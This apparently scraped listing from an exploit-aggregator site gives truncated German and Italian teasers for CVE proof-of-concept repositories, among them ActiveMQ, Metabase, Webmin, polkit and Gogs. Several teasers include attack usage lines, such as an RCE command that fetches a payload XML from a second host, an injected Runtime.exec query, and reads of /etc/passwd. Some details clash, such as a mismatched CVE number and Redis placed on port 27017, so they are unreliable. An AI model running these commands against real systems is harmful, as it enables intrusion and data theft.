CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Projekt-Referenz Dieses Projekt ist ein in Python umgeschriebenes exp, basierend auf dem exp des Projekts https://github.com/X1r0z/ActiveMQ-RCE. Verwendung root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Der Parameter -p ist standardmäßig der...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp Eine unbedeutende Schwachstelle, nur zur Dokumentation. 1. Redis starten, Port 27017 2. Projekt starten, Spring Boot läuft auf Port 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host:...

CVE-2021-41277

CVE-2021-41277 Metabase GeoJSON Karte lokale Dateieinbindung Version: x.40.0-x.40.4 Verwendung : root@kitploit: chmod -x CVE-2021-41277.sh ./CVE-2021-41277.sh http://ip:port/ /etc/passwd Referenzen https://vulners.com/cve/CVE-2021-41277...

CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails prima della versione 3.2.22.2, 4.x prima della 4.1.14.2 e 4.2.x prima della 4.2.5.2 consente a un attaccante remoto di eseguire codice Ruby arbitrario sfruttando l'uso illimitato del metodo render da parte dell'applicazione...

CVE-2021-43616

Repository che dimostra CVE-2021-43616 / https://github.com/npm/cli/issues/2701 Rimuovi la cartella nodemodules ed esegui npx npm@8 ci, potrai vedere come npm installa la versione 2.2.x 2.2.16 al momento di questo commit anche se package-lock.json richiede la 2.0.0 root@kitploit: cat...

Mikrotik-router-hack

WinboxExploit Dies ist ein Proof of Concept der kritischen WinBox-Sicherheitslücke CVE-2018-14847, die das beliebige Lesen von Dateien mit Klartext-Passwörtern ermöglicht. Die Sicherheitslücke wurde bereits vor langer Zeit behoben, daher ist dieses Projekt beendet und wird nicht mehr unterstützt...

cve-2022-21907

CVE-2022-21907 Questo pacchetto rileverà gli exploit di CVE-2022-21907 https://corelight.com/blog/detecting-cve-2022-21907 Metodo di rilevamento: HTTP I dati HTTP devono essere = 1750 byte, e HTTP/1.1 non viene osservato alla fine della richiesta HTTP dell'exploit. Utilizzo: root@kitploit: $ zeek...

CVE-2019-15642

CVE-2019-15642 Webmin Esecuzione remota di codice autenticato Utilizzo con python: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker per Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin nome utente=root, password=ro...

CVE-2025-2995

CVE-2025-29927 Riproduzione del bypass di autorizzazione Questo repository è una riproduzione della vulnerabilità CVE-2025-29927 nel pacchetto next Come riprodurre 1. Segui i passaggi seguenti per clonare ed eseguire l'applicazione Next.js 2. Verifica che l'autorizzazione neghi l'accesso...

CVE-2021-4034

CVE-2021-4034 Esegui e ottieni root...

CVE-2024-9465

CVE-2024-9465: Palo Alto Expedition – Unauthentifizierte SQL-Injection Proof-of-Concept zur Ausnutzung von CVE-2024-9465 auf anfälligen Geräten. Blogbeitrag Grundursache und Kompromittierungsindikatoren hier:...

CVE-2024-36401

CVE-2024-36401 Remix von Chokapikk's CVE-2024-36401, um webshell-ähnliches Verhalten in eingeschränkten Umgebungen zu ermöglichen. Erlaubt auch selbstsignierte TLS-Sitzungen, da HTTP-Sitzungen etwas... Usage: root@kitploit: git clone https://github.com/keelanbrady1011/CVE-2024-36401 && cd...

CVE-2025-34152

⚠️ CVE-2025-34152 – Ripetitore Wi-Fi Shenzhen Aitemi M300 RCE 🚨 Panoramica Il ripetitore Wi-Fi Shenzhen Aitemi M300 è affetto da esecuzione di codice remoto non autenticata RCE. Nessun login richiesto Non riavvia il dispositivo Può essere sfruttato da remoto 🛠 Versioni Vulnerabili Versione| Stato...

cve-2022-31749

CVE-2022-31749 di 1vere$k Semplice PoC-checker per CVE-2022-31749 di 1vere$k. Sfrutta una vulnerabilità di injection dei parametri nell'interfaccia SSH di WatchGuard. La vulnerabilità consente a un utente con privilegi bassi di esfiltrare file arbitrari di sistema verso un server FTP controllato...

CVE-2021-38647

OMIGOD Proof of Concept Exploit für CVE-2021-38647 OMIGOD Für Hintergrundinformationen und Kontext lesen Sie unseren Blogbeitrag, der diese Schwachstelle beschreibt: https://www.horizon3.ai/news/blog/omigod Details CVE-2021-38647 ist eine nicht authentifizierte RCE-Sicherheitslücke, die den...

CVE-2021-4034

CVE-2021-4034 PolKit Lokale Privilegienausweitung Analyse toc Schwachstellenübersicht Schwachstellennummer: CVE-2021-4034 Schwachstellenbewertung: Schwachstellenprodukt: Linux PolKit pkexec Betroffene Versionen: Betrifft Versionen von 2009 bis heute aktuell 0.105 Referenz:...

CVE-2023-39144

CVE-2023-39144 Contesto Ho scoperto questa vulnerabilità a maggio 2023. Element55 produce software per studi legali per tracciare il tempo. Questo software recupera informazioni da varie fonti, come Exchange, SQL e Shoretel. Cronologia 24 maggio 2023 - Segnalata la vulnerabilità a Element 55 25...

CVE-2022-46364-Poc

CVE-2022-46364 Exploit Apache CXF SSRF tramite MTOM XOP:Include | CVSS 9.8 CRITICO Vulnerabilità Apache CXF -s -d -t, --target - Endpoint SOAP CXF vulnerabile obbligatorio -s, --ssrf-url - URL interno da esfiltrare obbligatorio -d, --domain - Dominio di destinazione predefinito: localhost...

CVE-2026-27771

CVE-2026-27771 — Gitea Container Registry Authentifizierungsumgehung CVSS: N/A nicht veröffentlicht Betrifft: Gitea Haftungsausschluss: Dieser Proof-of-Concept dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung. Unautorisierter Zugriff auf Computersysteme ist illega...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC Proof-of-Concept für CVE-2025-8110 , ein authentifizierter beliebiger Dateischreibvorgang in Gogs ≤ 0.13.3, verursacht durch unsachgemäße Symbolic-Link-Behandlung in der PutContents-API. Ein authentifizierter Benutzer kann einen Symlink committen, der auf...